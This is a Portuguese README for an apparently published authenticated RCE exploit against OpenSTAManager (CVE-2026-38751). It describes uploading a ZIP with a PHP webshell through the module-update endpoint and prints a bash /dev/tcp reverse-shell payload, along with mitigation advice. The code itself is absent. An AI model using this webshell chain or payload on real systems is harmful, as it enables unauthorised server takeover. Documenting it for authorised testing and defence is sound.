OpenSTAManager_RCE_Exploit-CVE-2026-38751-

Exploit RCE OpenSTAManager (CVE-2026-38751)

Pré-requisitos

• Python 3.x
• Pacotes Python necessários: requests, zipfile
• Credenciais de administrador válidas para o OpenSTAManager
• Acesso de rede ao sistema alvo

Uso

Uso Básico

Modo Shell Interativo

Modo Reverse Shell

Argumentos

Detalhes Técnicos

Processo de Exploração

1. Autenticação: O script realiza uma requisição de login ao endpoint de autenticação do aplicativo
2. Habilitação de Atualização de Módulos: Envia uma requisição POST para habilitar a funcionalidade de atualização de módulos
3. Geração do ZIP: Cria um arquivo ZIP com:
   • shell/MODULE: Arquivo de configuração do módulo
   • shell/shell.php: Webshell PHP que executa comandos passados via parâmetro GET c
4. Processo de Upload: Usa dados de formulário multipart para enviar o ZIP malicioso ao endpoint de atualização de módulos
5. Verificação: Testa o shell enviado executando um comando simples como id para confirmar seu funcionamento
6. Execução de Comandos: Fornece um shell interativo ou estabelece uma conexão reverse shell

Payloads Utilizados

O exploit tenta múltiplos payloads de reverse shell:

• Shell reverso Bash: bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
• Shells reversos em Python usando conexões socket
• Payload bash codificado em Base64
• Shell reverso Netcat

Considerações de Segurança

⚠️ Aviso: Este exploit é destinado apenas para fins educacionais e de testes de segurança autorizados.

Avaliação de Riscos

Esta vulnerabilidade permite:

• Execução arbitrária de código como o usuário do servidor web
• Potencial escalada de privilégios
• Acesso a dados sensíveis armazenados no sistema
• Possível movimento lateral dentro de uma rede

Mitigação

Para se proteger contra esta vulnerabilidade:

1. Atualize o OpenSTAManager para a versão mais recente
2. Implemente controles de autenticação adequados
3. Restrinja as capacidades de upload de arquivos
4. Monitore atividades suspeitas
5. Aplique segmentação de rede

Exemplo de Saída

Referências

• Repositório GitHub
• Detalhes do CVE

Licença

Este exploit é fornecido apenas para fins educacionais. O uso não autorizado contra sistemas que você não possui ou sem permissão explícita para testar é ilegal.